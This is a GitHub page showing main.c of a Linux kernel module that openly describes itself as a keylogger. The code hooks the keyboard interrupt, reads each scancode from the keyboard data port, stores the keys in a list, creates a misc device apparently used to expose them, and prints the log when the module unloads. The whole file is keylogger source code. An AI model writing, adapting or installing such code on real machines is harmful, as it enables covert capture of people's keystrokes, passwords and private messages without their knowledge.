-
Notifications
You must be signed in to change notification settings - Fork 0
/
main.c
47 lines (34 loc) · 850 Bytes
/
main.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#include "./keyboard.h"
MODULE_AUTHOR("SegFault42 <SegFault42@protonmail.com>");
MODULE_DESCRIPTION("keylogger");
MODULE_LICENSE("GPL");
extern t_key *first;
struct mutex lock;
static irqreturn_t keyboard(int irq, void *dev_id)
{
unsigned char scancode;
scancode = inb(KBD_DATA_REG);
// check if is valid entry
if (strlen(key_name[scancode]) != 0)
add_tail(scancode);
return IRQ_HANDLED;
}
static int __init keyboard_init(void)
{
pr_info("Keylogger ON\n");
//init mutex
mutex_init(&lock);
create_misc();
return request_irq(KBD_IRQ, keyboard, IRQF_SHARED, "key_logger", (void *)keyboard);
}
static void __exit keyboard_exit(void)
{
print_log();
// free and destroy
free_lst();
free_irq(KBD_IRQ, (void *)keyboard);
destroy_misc();
pr_info("Keylogger OFF\n");
}
module_init(keyboard_init);
module_exit(keyboard_exit);